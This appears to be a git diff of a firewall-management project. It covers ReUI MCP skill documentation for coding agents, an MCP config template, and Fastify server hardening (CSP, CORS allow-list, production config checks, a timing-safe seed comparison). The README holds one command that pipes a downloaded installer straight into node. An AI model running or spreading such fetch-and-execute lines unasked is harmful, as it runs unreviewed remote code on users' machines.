- **`get_agent_skill`** - when the agent has no local ReUI skill (a cloud or tools-only client), or to check whether the installed one is stale: it returns the current workflow inline plus the installer command, and its `version` can be compared with the version stamped at the top of your local `SKILL.md`.
|
||||||
|
|
||||||
## All 19 tools
|
## All 19 tools
|
||||||
|
|
||||||
`search`, `get_block`, `get_example`, `get_icon`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `whats_new`, `report_issue`, `get_install_command`, `get_project_context`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
`search`, `get_block`, `get_example`, `get_icon`, `get_thumbnail`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `get_install_command`, `get_project_context`, `get_agent_skill`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||||
|
|
||||||
## Token + speed rules
|
## Token + speed rules
|
||||||
|
|
||||||
@@ -41,18 +41,24 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
|||||||
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
||||||
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
||||||
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
||||||
|
- An inline `api` is not always the whole API: a very large one is trimmed on heading boundaries to fit your context, and the response names every dropped heading in `sectionsOmitted` plus a `next` hint for re-reading one. Never treat a trimmed capsule as complete; `validate_usage` still checks the FULL API.
|
||||||
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
||||||
|
- Blocks and `c-*` examples carry `thumbnail`, an absolute URL to a hosted preview image (3:2; blocks 1080x720, examples 900x600, light theme). Show the top 2 or 3 as markdown images linked to `previewUrl` so the user picks by eye; use `get_thumbnail` when YOU need to see them. Components and icons have no thumbnail.
|
||||||
|
- Each result carries `missedTerms`, the words from YOUR query it does not mention (omitted when it matches them all). A high score with 3 missed words is a near miss wearing a good score: read this before `get_thumbnail`, it is far cheaper.
|
||||||
|
- `weakMatch: true` means the top result misses more of the query's words than it matches; `unmatchedTerms` lists the words none of the top results mention and `weakMatchNote` says what to do. Stop and re-search with the registry's own words, or compose from components, instead of installing the top hit.
|
||||||
|
- On a free account `premiumPicks` (a sibling of `results`, never inside it) lists up to 3 premium blocks that fit the query more closely than the free answer, as previews with no install command, plus `unlock` with the plan and a pricing link. Mention the upgrade at most once per conversation, then keep building with what the plan covers. `weakMatch` and `premiumPicks` can appear together: the free answer is weak AND a premium block fits; `weakMatchNote` says so.
|
||||||
|
- Results are scoped to the caller's plan, so a free account never sees a block or icon it could not install. When a search matches only hidden premium items, the answer says so (`locked`, `requiredPlan`, `premiumMatches`) instead of pretending the registry is empty.
|
||||||
|
|
||||||
## Error playbook
|
## Error playbook
|
||||||
|
|
||||||
- **401** - the MCP requires a signed-in ReUI account. The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp) as `Authorization: Bearer`.
|
- **401** - the MCP requires a signed-in ReUI account, on every request (there is no anonymous access). The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp?ref=skill) as `Authorization: Bearer`.
|
||||||
- **403 / locked result** - a valid account but the plan does not cover the item: premium blocks need Pro, Motion Icons need Ultimate. Point to https://reui.io/pricing (upgrade). Free accounts still get all components + examples.
|
- **locked result** - a valid account whose plan does not cover the item. This is NOT an error and NOT a 403: it comes back as a normal HTTP 200 result carrying `locked: true` and `requiredPlan` (`"pro"` for premium blocks, `"ultimate"` for Motion Icons). Keep working with the free components and `c-*` examples, and point the user at https://reui.io/pricing?ref=skill if they want the locked item.
|
||||||
- **429** - rate limited (120 requests/min per IP); back off, honor `Retry-After`.
|
- **daily allowance reached** - a free account has a per-account, per-UTC-day allowance on tool calls (ReUI sets the number and can change it, so read it from the message and never assume one). It comes back as a normal tool RESULT with `isError: true` at HTTP 200: not an HTTP error status, no back-off header to honor, and no per-minute limit to wait out. Retrying the same call just spends the next unit, so surface the message (it carries the reset and the upgrade link) to the user instead of looping. The count resets at UTC midnight, and using a Pro or Ultimate license as the MCP credential removes the limit.
|
||||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`; check `whats_new` if you suspect a stale name. Never run a fabricated install command.
|
- **not found** (`found: false`) - use the returned `suggestions`, or `search`. Never run a fabricated install command.
|
||||||
|
|
||||||
## Fallbacks
|
## Fallbacks
|
||||||
|
|
||||||
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
||||||
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
||||||
|
|
||||||
Per-agent MCP setup: https://reui.io/docs/mcp
|
Per-agent MCP setup: https://reui.io/docs/mcp?ref=skill
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
{
|
||||||
|
"mcp": {
|
||||||
|
"servers": {
|
||||||
|
"reui": {
|
||||||
|
"type": "http",
|
||||||
|
"url": "https://mcp.reui.io/api/mcp",
|
||||||
|
"headers": {
|
||||||
|
"Authorization": "Bearer <REUI_LICENSE_KEY>"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"shadcn": {
|
||||||
|
"type": "stdio",
|
||||||
|
"command": "cmd",
|
||||||
|
"args": ["/c", "npx", "-y", "shadcn@latest", "mcp"],
|
||||||
|
"cwd": "<abs-path>/apps/web"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -25,10 +25,10 @@ pnpm --filter @evofw/web build
|
|||||||
## ReUI PRO
|
## ReUI PRO
|
||||||
|
|
||||||
Surface: **frame**. Hierarchy: **ReUI PRO > shadcn**. Contract: `docs/ui-design-contract.md`.
|
Surface: **frame**. Hierarchy: **ReUI PRO > shadcn**. Contract: `docs/ui-design-contract.md`.
|
||||||
MCP `user-reui` primary + `plugin-shadcn-shadcn` primitives. CLI из `apps/web`.
|
MCP `reui` (PRO, Bearer `REUI_LICENSE_KEY`) primary + `shadcn` primitives — локально: `.zcode/config.json` (ZCode, шаблон `.zcode/config.json.example`) / `.cursor/mcp.json` (Cursor). CLI из `apps/web`.
|
||||||
KPI/QuickActions: EvoBGP hybrid SoT (`KpiStatGrid`, `QuickActionGrid`).
|
KPI/QuickActions: EvoBGP hybrid SoT (`KpiStatGrid`, `QuickActionGrid`).
|
||||||
Docs: [Introduction](https://reui.io/docs) · [llms.txt](https://reui.io/llms.txt) · [MCP](https://reui.io/docs/mcp) · [Agent Skills](https://reui.io/docs/agent-skills).
|
Docs: [Introduction](https://reui.io/docs) · [llms.txt](https://reui.io/llms.txt) · [MCP](https://reui.io/docs/mcp) · [Agent Skills](https://reui.io/docs/agent-skills).
|
||||||
Skill: `.claude/skills/reui` (`668fb463eb`).
|
Skill: `.agents/skills/reui` (v `d9f4a302f4`); обновление: `curl.exe -fsSL https://mcp.reui.io/install | node -` из корня проекта.
|
||||||
|
|
||||||
## Docs
|
## Docs
|
||||||
|
|
||||||
|
|||||||
@@ -5,6 +5,7 @@
|
|||||||
"type": "module",
|
"type": "module",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"dev": "tsx watch src/server.ts",
|
"dev": "tsx watch src/server.ts",
|
||||||
|
"typecheck": "tsc --noEmit",
|
||||||
"build": "tsup src/server.ts --format esm --dts --publicDir src/agent-scripts && node -e \"const fs=require('fs');const p='dist/agent-scripts';fs.mkdirSync(p,{recursive:true});for(const f of fs.readdirSync('src/agent-scripts'))fs.copyFileSync('src/agent-scripts/'+f,p+'/'+f)\"",
|
"build": "tsup src/server.ts --format esm --dts --publicDir src/agent-scripts && node -e \"const fs=require('fs');const p='dist/agent-scripts';fs.mkdirSync(p,{recursive:true});for(const f of fs.readdirSync('src/agent-scripts'))fs.copyFileSync('src/agent-scripts/'+f,p+'/'+f)\"",
|
||||||
"start": "node dist/server.js",
|
"start": "node dist/server.js",
|
||||||
"test": "vitest run"
|
"test": "vitest run"
|
||||||
|
|||||||
+54
-2
@@ -33,20 +33,44 @@ export async function buildApp(opts: BuildAppOptions = {}) {
|
|||||||
|
|
||||||
const app = Fastify({
|
const app = Fastify({
|
||||||
logger: { level: config.logLevel },
|
logger: { level: config.logLevel },
|
||||||
|
genReqId: () => crypto.randomUUID(),
|
||||||
}).withTypeProvider<ZodTypeProvider>()
|
}).withTypeProvider<ZodTypeProvider>()
|
||||||
|
|
||||||
|
// Correlation id in every response and in the error envelope.
|
||||||
|
app.addHook('onSend', async (req, reply) => {
|
||||||
|
reply.header('x-request-id', req.id)
|
||||||
|
})
|
||||||
|
|
||||||
app.setValidatorCompiler(validatorCompiler)
|
app.setValidatorCompiler(validatorCompiler)
|
||||||
app.setSerializerCompiler(serializerCompiler)
|
app.setSerializerCompiler(serializerCompiler)
|
||||||
|
|
||||||
await app.register(import('@fastify/sensible'))
|
await app.register(import('@fastify/sensible'))
|
||||||
|
// CSP only guards the served SPA; in dev the Vite server proxies API
|
||||||
|
// requests same-origin and injects its own HMR scripts.
|
||||||
await app.register(import('@fastify/helmet'), {
|
await app.register(import('@fastify/helmet'), {
|
||||||
contentSecurityPolicy: false,
|
contentSecurityPolicy:
|
||||||
|
config.staticDir !== null
|
||||||
|
? {
|
||||||
|
directives: {
|
||||||
|
defaultSrc: ["'self'"],
|
||||||
|
scriptSrc: ["'self'"],
|
||||||
|
styleSrc: ["'self'", "'unsafe-inline'"],
|
||||||
|
imgSrc: ["'self'", 'data:'],
|
||||||
|
fontSrc: ["'self'", 'data:'],
|
||||||
|
// app-switcher talks to the auth portal directly from the browser
|
||||||
|
connectSrc: ["'self'", config.authPortalUrl],
|
||||||
|
objectSrc: ["'none'"],
|
||||||
|
baseUri: ["'self'"],
|
||||||
|
frameAncestors: ["'none'"],
|
||||||
|
},
|
||||||
|
}
|
||||||
|
: false,
|
||||||
})
|
})
|
||||||
await app.register(import('@fastify/rate-limit'), {
|
await app.register(import('@fastify/rate-limit'), {
|
||||||
max: 300,
|
max: 300,
|
||||||
timeWindow: '1 minute',
|
timeWindow: '1 minute',
|
||||||
})
|
})
|
||||||
await app.register(corsPlugin)
|
await app.register(corsPlugin, { config })
|
||||||
await app.register(errorHandlerPlugin)
|
await app.register(errorHandlerPlugin)
|
||||||
await app.register(dbPlugin, { config, memory: opts.memory })
|
await app.register(dbPlugin, { config, memory: opts.memory })
|
||||||
await app.register(authPlugin, { config })
|
await app.register(authPlugin, { config })
|
||||||
@@ -122,6 +146,34 @@ export async function buildApp(opts: BuildAppOptions = {}) {
|
|||||||
preventOverrun: true,
|
preventOverrun: true,
|
||||||
}),
|
}),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// Raw stats samples grow ~1 row per agent per sync interval; drop old
|
||||||
|
// ones daily. Lifetime totals live on agents; aggregates are kept.
|
||||||
|
const runRetention = async () => {
|
||||||
|
const cutoff = new Date(
|
||||||
|
Date.now() - config.statsRetentionDays * 86_400_000,
|
||||||
|
).toISOString()
|
||||||
|
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
|
||||||
|
if (deleted > 0) {
|
||||||
|
app.log.info(
|
||||||
|
{ deleted, cutoff },
|
||||||
|
`stats retention: raw samples older than ${config.statsRetentionDays}d removed`,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
app.scheduler.addCronJob(
|
||||||
|
new CronJob(
|
||||||
|
{ cronExpression: '17 3 * * *' },
|
||||||
|
new AsyncTask('stats-retention', runRetention, (err) => {
|
||||||
|
app.log.warn({ err }, 'stats retention failed')
|
||||||
|
}),
|
||||||
|
{ preventOverrun: true },
|
||||||
|
),
|
||||||
|
)
|
||||||
|
// First cleanup right at startup, not only after the next 03:17.
|
||||||
|
runRetention().catch((err) =>
|
||||||
|
app.log.warn({ err }, 'stats retention failed'),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return app
|
return app
|
||||||
|
|||||||
@@ -0,0 +1,74 @@
|
|||||||
|
import { describe, it, expect, afterEach } from 'vitest'
|
||||||
|
import { loadConfig } from './config.js'
|
||||||
|
|
||||||
|
const SAVED: Record<string, string | undefined> = {}
|
||||||
|
const KEYS = [
|
||||||
|
'NODE_ENV',
|
||||||
|
'AUTH_REQUIRED',
|
||||||
|
'AUTH_JWT_SECRET',
|
||||||
|
'JWT_SECRET',
|
||||||
|
'EVOFW_ENROLL_SEED',
|
||||||
|
'EVOFW_ALLOW_UNSAFE',
|
||||||
|
]
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
for (const k of KEYS) {
|
||||||
|
if (SAVED[k] === undefined) delete process.env[k]
|
||||||
|
else process.env[k] = SAVED[k]
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
function setEnv(vars: Record<string, string | undefined>) {
|
||||||
|
for (const [k, v] of Object.entries(vars)) {
|
||||||
|
if (!(k in SAVED)) SAVED[k] = process.env[k]
|
||||||
|
if (v === undefined) delete process.env[k]
|
||||||
|
else process.env[k] = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('loadConfig production fail-safe', () => {
|
||||||
|
it('refuses insecure defaults in production', () => {
|
||||||
|
setEnv({
|
||||||
|
NODE_ENV: 'production',
|
||||||
|
AUTH_REQUIRED: undefined,
|
||||||
|
AUTH_JWT_SECRET: undefined,
|
||||||
|
JWT_SECRET: undefined,
|
||||||
|
EVOFW_ENROLL_SEED: undefined,
|
||||||
|
EVOFW_ALLOW_UNSAFE: undefined,
|
||||||
|
})
|
||||||
|
expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/)
|
||||||
|
|
||||||
|
setEnv({ AUTH_REQUIRED: 'true' })
|
||||||
|
expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/)
|
||||||
|
|
||||||
|
setEnv({ AUTH_JWT_SECRET: 'short' })
|
||||||
|
expect(() => loadConfig()).toThrow(/real secret/)
|
||||||
|
|
||||||
|
setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' })
|
||||||
|
expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('starts with explicit opt-out or full production config', () => {
|
||||||
|
setEnv({ EVOFW_ALLOW_UNSAFE: 'true' })
|
||||||
|
expect(() => loadConfig()).not.toThrow()
|
||||||
|
|
||||||
|
setEnv({
|
||||||
|
EVOFW_ALLOW_UNSAFE: undefined,
|
||||||
|
EVOFW_ENROLL_SEED: 'real-seed',
|
||||||
|
})
|
||||||
|
expect(() => loadConfig()).not.toThrow()
|
||||||
|
})
|
||||||
|
|
||||||
|
it('dev keeps permissive defaults', () => {
|
||||||
|
setEnv({
|
||||||
|
NODE_ENV: undefined,
|
||||||
|
AUTH_REQUIRED: undefined,
|
||||||
|
AUTH_JWT_SECRET: undefined,
|
||||||
|
EVOFW_ENROLL_SEED: undefined,
|
||||||
|
EVOFW_ALLOW_UNSAFE: undefined,
|
||||||
|
})
|
||||||
|
const config = loadConfig()
|
||||||
|
expect(config.authRequired).toBe(false)
|
||||||
|
expect(config.corsOrigins).toEqual([])
|
||||||
|
})
|
||||||
|
})
|
||||||
+44
-4
@@ -13,6 +13,9 @@ export interface AppConfig {
|
|||||||
authAuditIngestSecret: string | null
|
authAuditIngestSecret: string | null
|
||||||
publicBaseUrl: string
|
publicBaseUrl: string
|
||||||
enrollSeed: string
|
enrollSeed: string
|
||||||
|
corsOrigins: string[]
|
||||||
|
secretKey: string | null
|
||||||
|
statsRetentionDays: number
|
||||||
}
|
}
|
||||||
|
|
||||||
function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
||||||
@@ -20,16 +23,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean {
|
|||||||
return v === '1' || v.toLowerCase() === 'true'
|
return v === '1' || v.toLowerCase() === 'true'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const DEV_JWT_SECRET = 'dev-secret-change-me'
|
||||||
|
const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me'
|
||||||
|
|
||||||
export function loadConfig(): AppConfig {
|
export function loadConfig(): AppConfig {
|
||||||
const isProd = process.env.NODE_ENV === 'production'
|
const isProd = process.env.NODE_ENV === 'production'
|
||||||
const jwtSecret =
|
const jwtSecret =
|
||||||
process.env.AUTH_JWT_SECRET ??
|
process.env.AUTH_JWT_SECRET ??
|
||||||
process.env.JWT_SECRET ??
|
process.env.JWT_SECRET ??
|
||||||
(isProd ? '' : 'dev-secret-change-me')
|
(isProd ? '' : DEV_JWT_SECRET)
|
||||||
|
|
||||||
return {
|
const config: AppConfig = {
|
||||||
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
|
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
|
||||||
jwtSecret: jwtSecret || 'dev-secret-change-me',
|
jwtSecret: jwtSecret || DEV_JWT_SECRET,
|
||||||
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
|
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
|
||||||
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
|
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
|
||||||
staticDir: process.env.STATIC_DIR
|
staticDir: process.env.STATIC_DIR
|
||||||
@@ -54,6 +60,40 @@ export function loadConfig(): AppConfig {
|
|||||||
enrollSeed:
|
enrollSeed:
|
||||||
process.env.EVOFW_ENROLL_SEED ??
|
process.env.EVOFW_ENROLL_SEED ??
|
||||||
process.env.BUNDLE_SEED_HEX ??
|
process.env.BUNDLE_SEED_HEX ??
|
||||||
'dev-enroll-seed-change-me',
|
DEV_ENROLL_SEED,
|
||||||
|
corsOrigins: (process.env.CORS_ORIGINS ?? '')
|
||||||
|
.split(',')
|
||||||
|
.map((s) => s.trim().replace(/\/$/, ''))
|
||||||
|
.filter(Boolean),
|
||||||
|
secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null,
|
||||||
|
statsRetentionDays: Math.max(
|
||||||
|
1,
|
||||||
|
Math.min(3650, Number(process.env.STATS_RETENTION_DAYS ?? '30') || 30),
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fail-safe: a production process must not start wide open or with
|
||||||
|
// well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit
|
||||||
|
// opt-out for isolated/lab deployments.
|
||||||
|
if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) {
|
||||||
|
const problems: string[] = []
|
||||||
|
if (!config.authRequired) {
|
||||||
|
problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)')
|
||||||
|
}
|
||||||
|
if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) {
|
||||||
|
problems.push('AUTH_JWT_SECRET is not set')
|
||||||
|
} else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) {
|
||||||
|
problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)')
|
||||||
|
}
|
||||||
|
if (config.enrollSeed === DEV_ENROLL_SEED) {
|
||||||
|
problems.push('EVOFW_ENROLL_SEED is not set')
|
||||||
|
}
|
||||||
|
if (problems.length > 0) {
|
||||||
|
throw new Error(
|
||||||
|
`Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return config
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,8 +1,21 @@
|
|||||||
import type { FastifyInstance } from 'fastify'
|
import type { FastifyInstance } from 'fastify'
|
||||||
import fp from 'fastify-plugin'
|
import fp from 'fastify-plugin'
|
||||||
|
import type { AppConfig } from '../config.js'
|
||||||
|
|
||||||
async function corsPlugin(app: FastifyInstance) {
|
async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) {
|
||||||
await app.register(import('@fastify/cors'), { origin: true })
|
const allowed = opts.config.corsOrigins
|
||||||
|
await app.register(import('@fastify/cors'), {
|
||||||
|
// The SPA is served same-origin (or via the Vite dev proxy), so by
|
||||||
|
// default only non-CORS (same-origin/server-side) requests pass.
|
||||||
|
// CORS_ORIGINS opens specific origins explicitly.
|
||||||
|
origin: (origin, cb) => {
|
||||||
|
if (!origin || allowed.includes(origin.replace(/\/$/, ''))) {
|
||||||
|
cb(null, true)
|
||||||
|
} else {
|
||||||
|
cb(null, false)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
export default fp(corsPlugin, { name: 'cors' })
|
export default fp(corsPlugin, { name: 'cors' })
|
||||||
|
|||||||
@@ -14,17 +14,25 @@ export class AppError extends Error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async function errorHandlerPlugin(app: FastifyInstance) {
|
async function errorHandlerPlugin(app: FastifyInstance) {
|
||||||
app.setErrorHandler((err, _req, reply) => {
|
app.setErrorHandler((err, req, reply) => {
|
||||||
if (err instanceof AppError) {
|
if (err instanceof AppError) {
|
||||||
return reply.code(err.statusCode).send({
|
return reply.code(err.statusCode).send({
|
||||||
error: { code: err.code, message: err.message },
|
error: {
|
||||||
|
code: err.code,
|
||||||
|
message: err.message,
|
||||||
|
request_id: String(req.id),
|
||||||
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
if (err instanceof ZodError) {
|
if (err instanceof ZodError) {
|
||||||
const message =
|
const message =
|
||||||
err.issues.map((i) => i.message).join('; ') || 'Validation error'
|
err.issues.map((i) => i.message).join('; ') || 'Validation error'
|
||||||
return reply.code(400).send({
|
return reply.code(400).send({
|
||||||
error: { code: 'VALIDATION_ERROR', message },
|
error: {
|
||||||
|
code: 'VALIDATION_ERROR',
|
||||||
|
message,
|
||||||
|
request_id: String(req.id),
|
||||||
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
const e = err as { statusCode?: number; message?: string }
|
const e = err as { statusCode?: number; message?: string }
|
||||||
@@ -38,6 +46,7 @@ async function errorHandlerPlugin(app: FastifyInstance) {
|
|||||||
error: {
|
error: {
|
||||||
code: status >= 500 ? 'INTERNAL_ERROR' : 'VALIDATION_ERROR',
|
code: status >= 500 ? 'INTERNAL_ERROR' : 'VALIDATION_ERROR',
|
||||||
message,
|
message,
|
||||||
|
request_id: String(req.id),
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import { readFileSync } from 'node:fs'
|
import { readFileSync } from 'node:fs'
|
||||||
import { createHash } from 'node:crypto'
|
import { createHash, timingSafeEqual } from 'node:crypto'
|
||||||
import { join } from 'node:path'
|
import { join } from 'node:path'
|
||||||
import type { FastifyPluginAsync } from 'fastify'
|
import type { FastifyPluginAsync } from 'fastify'
|
||||||
import { repos } from '@evofw/db'
|
import { repos } from '@evofw/db'
|
||||||
@@ -18,6 +18,14 @@ import {
|
|||||||
|
|
||||||
const scriptsDir = resolveAgentScriptsDir()
|
const scriptsDir = resolveAgentScriptsDir()
|
||||||
|
|
||||||
|
/** Constant-time seed check; hash first so lengths always match. */
|
||||||
|
function seedMatches(presented: string | undefined, expected: string): boolean {
|
||||||
|
if (!presented) return false
|
||||||
|
const a = createHash('sha256').update(presented).digest()
|
||||||
|
const b = createHash('sha256').update(expected).digest()
|
||||||
|
return timingSafeEqual(a, b)
|
||||||
|
}
|
||||||
|
|
||||||
function sanitizeHostFirewall(raw: {
|
function sanitizeHostFirewall(raw: {
|
||||||
rules?: unknown[]
|
rules?: unknown[]
|
||||||
listeners?: unknown[]
|
listeners?: unknown[]
|
||||||
@@ -92,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
const seed = req.headers['x-evofw-seed']
|
const seed = req.headers['x-evofw-seed']
|
||||||
const expected =
|
const expected =
|
||||||
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
|
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
|
||||||
if (!seed || String(seed) !== expected) {
|
if (!seedMatches(String(seed ?? ''), expected)) {
|
||||||
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
|
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
|
||||||
}
|
}
|
||||||
const body = enrollBodySchema.parse(req.body)
|
const body = enrollBodySchema.parse(req.body)
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import {
|
|||||||
putAgentPolicySetsBodySchema,
|
putAgentPolicySetsBodySchema,
|
||||||
patchAgentBodySchema,
|
patchAgentBodySchema,
|
||||||
cloneFromBodySchema,
|
cloneFromBodySchema,
|
||||||
|
agentIdsBodySchema,
|
||||||
} from '@evofw/shared'
|
} from '@evofw/shared'
|
||||||
import { AppError } from '../plugins/error-handler.js'
|
import { AppError } from '../plugins/error-handler.js'
|
||||||
import { evaluateAgentPolicy, truncateCidrs } from '../services/policy/evaluate.js'
|
import { evaluateAgentPolicy, truncateCidrs } from '../services/policy/evaluate.js'
|
||||||
@@ -12,6 +13,7 @@ import { buildInstallUrls } from '../services/install-links.js'
|
|||||||
import type { AppConfig } from '../config.js'
|
import type { AppConfig } from '../config.js'
|
||||||
import { auditMutation } from '../services/audit.js'
|
import { auditMutation } from '../services/audit.js'
|
||||||
import { mapAgent } from '../services/row-mappers.js'
|
import { mapAgent } from '../services/row-mappers.js'
|
||||||
|
import { applyPagination } from '../services/pagination.js'
|
||||||
|
|
||||||
export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||||
app,
|
app,
|
||||||
@@ -19,11 +21,12 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
) => {
|
) => {
|
||||||
const { config } = opts
|
const { config } = opts
|
||||||
|
|
||||||
app.get('/agents', async () => {
|
app.get<{ Querystring: { limit?: string; offset?: string } }>(
|
||||||
|
'/agents',
|
||||||
|
async (req) => {
|
||||||
const all = repos.listAgents(app.db)
|
const all = repos.listAgents(app.db)
|
||||||
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
|
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
|
||||||
return {
|
const items = all.map((a) => {
|
||||||
items: all.map((a) => {
|
|
||||||
const link = linksByAgent.get(a.id)
|
const link = linksByAgent.get(a.id)
|
||||||
if (!link) {
|
if (!link) {
|
||||||
return mapAgent(a)
|
return mapAgent(a)
|
||||||
@@ -38,9 +41,11 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
installCurl: urls.curl.by_slug,
|
installCurl: urls.curl.by_slug,
|
||||||
installLinkId: link.id,
|
installLinkId: link.id,
|
||||||
})
|
})
|
||||||
}),
|
|
||||||
}
|
|
||||||
})
|
})
|
||||||
|
const paged = applyPagination(items, req.query)
|
||||||
|
return { items: paged.items, total: paged.total }
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
app.get<{ Params: { id: string } }>('/agents/:id', async (req) => {
|
app.get<{ Params: { id: string } }>('/agents/:id', async (req) => {
|
||||||
const a = repos.getAgent(app.db, req.params.id)
|
const a = repos.getAgent(app.db, req.params.id)
|
||||||
@@ -147,6 +152,32 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
|||||||
return mapAgent(updated!)
|
return mapAgent(updated!)
|
||||||
})
|
})
|
||||||
|
|
||||||
|
app.post('/agents/approve-bulk', async (req) => {
|
||||||
|
const body = agentIdsBodySchema.parse(req.body)
|
||||||
|
const now = new Date().toISOString()
|
||||||
|
const approved: string[] = []
|
||||||
|
app.sqlite.transaction(() => {
|
||||||
|
for (const id of body.agent_ids) {
|
||||||
|
const a = repos.getAgent(app.db, id)
|
||||||
|
if (!a || (a.status !== 'pending' && a.status !== 'invited')) continue
|
||||||
|
repos.updateAgent(app.db, a.id, {
|
||||||
|
status: 'approved',
|
||||||
|
approvedAt: now,
|
||||||
|
})
|
||||||
|
repos.ensureSharedSetAssigned(app.db, a.id)
|
||||||
|
approved.push(a.id)
|
||||||
|
}
|
||||||
|
})()
|
||||||
|
auditMutation(app, config, req, {
|
||||||
|
action: 'agent.approve',
|
||||||
|
targetType: 'app_resource',
|
||||||
|
targetId: approved[0] ?? '',
|
||||||
|
summary: `Массовое одобрение агентов: ${approved.length}`,
|
||||||
|
details: { agent_ids: approved },
|
||||||
|
})
|
||||||
|
